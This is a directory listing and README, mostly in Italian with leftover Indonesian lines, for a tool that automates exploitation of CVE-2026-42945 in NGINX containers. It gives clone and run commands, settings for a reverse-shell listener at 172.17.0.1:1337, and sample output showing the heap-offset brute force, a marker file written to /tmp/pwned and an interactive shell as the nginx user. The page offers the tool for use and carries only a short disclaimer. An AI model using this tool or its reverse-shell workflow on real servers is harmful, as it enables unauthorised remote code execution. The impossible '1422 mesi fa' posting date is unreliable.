Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42945_NginxRift — Automatizza lo sfruttamento di CVE-2026-42945 nei container NGINX: verifica i target vulnerabili, effettua brute force sugli offset dell'heap, esegue comandi e apre una reverse shell interattiva. | Kitploit
Strumenti/GitHubGitHub/kentox493/cve-2026-42945_nginxrift
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingRed TeamingBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
kentox493/cve-2026-42945_nginxrift

CVE-2026-42945_NginxRift

Automatizza lo sfruttamento di CVE-2026-42945 nei container NGINX: verifica i target vulnerabili, effettua brute force sugli offset dell'heap, esegue comandi e apre una reverse shell interattiva.

Vedi Repository
1422 mesi faNon ancora revisionato

🚀 NGINX Rift Automazione PoC — CVE-2026-42945

Driver di automazione PoC per l'exploit RCE del container nginx-rift · Verifica del target → Exploit a comando singolo → Reverse-shell interattiva

Shell Python Platform License

Un singolo comando orchestra l'intero flusso dell'exploit — dalla verifica del container fino all'ottenimento della shell.


⚠️ Avvertenza etica e legale Questo strumento è esclusivamente per test di sicurezza legittimi e autorizzati — pentest su contratto, lab/CTF o risorse proprie. L'uso senza il permesso del proprietario del sistema costituisce reato (UU ITE, Computer Fraud and Abuse Act, ecc.). L'utente è pienamente responsabile del proprio utilizzo.


📖 Riepilogo della vulnerabilità

CVE-2026-42945 è una vulnerabilità di Remote Code Execution (RCE) nella configurazione NGINX "Rift" — un bug di heap-based buffer overflow nel modulo ngx_http_rewrite_module innescato tramite uno specifico location block (/api/users/...). L'impatto è che un attaccante può eseguire comandi tramite il gestore system() all'interno del container.

ItemDetail
CVECVE-2026-42945
TipoRemote Code Execution (RCE)
ComponenteNGINX (ngx_http_rewrite_module) — configurazione "Rift"
InnescoRichiesta al location block vulnerabile (/api/users/{id})
ImpattoEsecuzione arbitraria di comandi come utente worker NGINX all'interno del container
Setup del labContainer nginx-rift-nginx-1 — porta host 19321

Questo repository contiene 2 componenti:

FileFunzione
poc.pyDriver dell'exploit — brute-force dell'heap offset, due modalità: --cmd (comando singolo) e --shell (reverse shell)
scan.shOrchestratore di automazione — verifica del target, esecuzione del PoC, verifica dei risultati e sessione shell interattiva

🏗 Flusso di lavoro

┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ Requisiti di sistema

Operatore (host su cui viene eseguito lo script):

  • Linux (bash) — testato su Kali / Ubuntu / Debian
  • docker (con sudo o utente nel gruppo docker)
  • python3 + poc.py (nella stessa directory di scan.sh)
  • curl, nc (netcat), timeout (coreutils)

Target (lab):

  • Container nginx-rift già attivo (provisioning tramite docker compose)
  • Porta host 19321 aperta su 127.0.0.1
  • Container connesso al bridge Docker (default 172.17.0.1 per il listener dell'host)

📥 Installazione

# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh e poc.py devono trovarsi nella stessa directory.


🚀 Utilizzo

./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

Modalità auto (predefinita)

  1. Preflight — verifica di tutte le dipendenze.
  2. Verifica del target — container attivo? HTTP 200?
  3. PoC --cmd — scrive il marker hello from depthfirst in /tmp/pwned all'interno del container (retry automatico max 3×, timeout 300s/tentativo).
  4. Verifica del risultato — docker exec cat /tmp/pwned deve contenere il marker (ground-truth, non solo lettura dell'output).
  5. Prompt procedere con la reverse shell? → y per la sessione interattiva.

Modalità shell

./scan.sh shell

Esegue poc.py --shell con listener 172.17.0.1:1337. Dopo il successo del brute-force, ricevi un prompt /bin/sh interattivo come utente worker NGINX all'interno del container.

Nota: l'IP 172.17.0.1 è l'indirizzo host sul bridge Docker predefinito. Se il tuo bridge è diverso (docker network inspect bridge), modifica la variabile LISTEN_IP nella parte superiore di scan.sh.


🔧 Configurazione modificabile

Tutti i parametri sono raggruppati nel blocco di configurazione in cima a scan.sh:

VariabileDefaultFunzione
DOCKERsudo dockerSostituisci docker se l'utente è già nel gruppo docker
PROJECT_LABELcom.docker.compose.project=nginx-riftFiltro di identificazione del container
CONTAINERnginx-rift-nginx-1Nome del container target
TARGET_HOST / TARGET_PORT127.0.0.1 / 19321Indirizzo del target
LISTEN_IP / LISTEN_PORT172.17.0.1 / 1337Listener della reverse shell
MARKER_FILE / MARKER_EXPECT/tmp/pwned / hello from depthfirstVerifica dell'esecuzione
CMD_TIMEOUT300Timeout per tentativo (secondi)
MAX_ATTEMPTS3Numero di retry del PoC --cmd

📸 Esempio di output

┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 Risoluzione dei problemi

ProblemaSoluzione
Container ... tidak berjalancd <project-dir> && sudo docker compose up -d, quindi riprova
HTTP 000 / connection refusedPorta 19321 non ancora pronta — attendi qualche secondo, controlla docker ps
File 'poc.py' tidak ditemukanEsegui scan.sh dalla directory del repo (poc.py deve trovarsi nella stessa directory)
PoC --cmd fallisce ripetutamente (3×)Aumenta MAX_ATTEMPTS / CMD_TIMEOUT; assicurati che kernel e versione di NGINX corrispondano al lab
La reverse shell non si connetteControlla che LISTEN_IP corrisponda al bridge (docker network inspect bridge); assicurati che la porta 1337 non sia occupata
Errore unrecognized argumentsAssicurati che la versione di poc.py supporti i flag --listen-ip/--listen-port (vedi python3 poc.py -h)

🛡 Rimedi (per il Blue Team)

Scarica lo strumento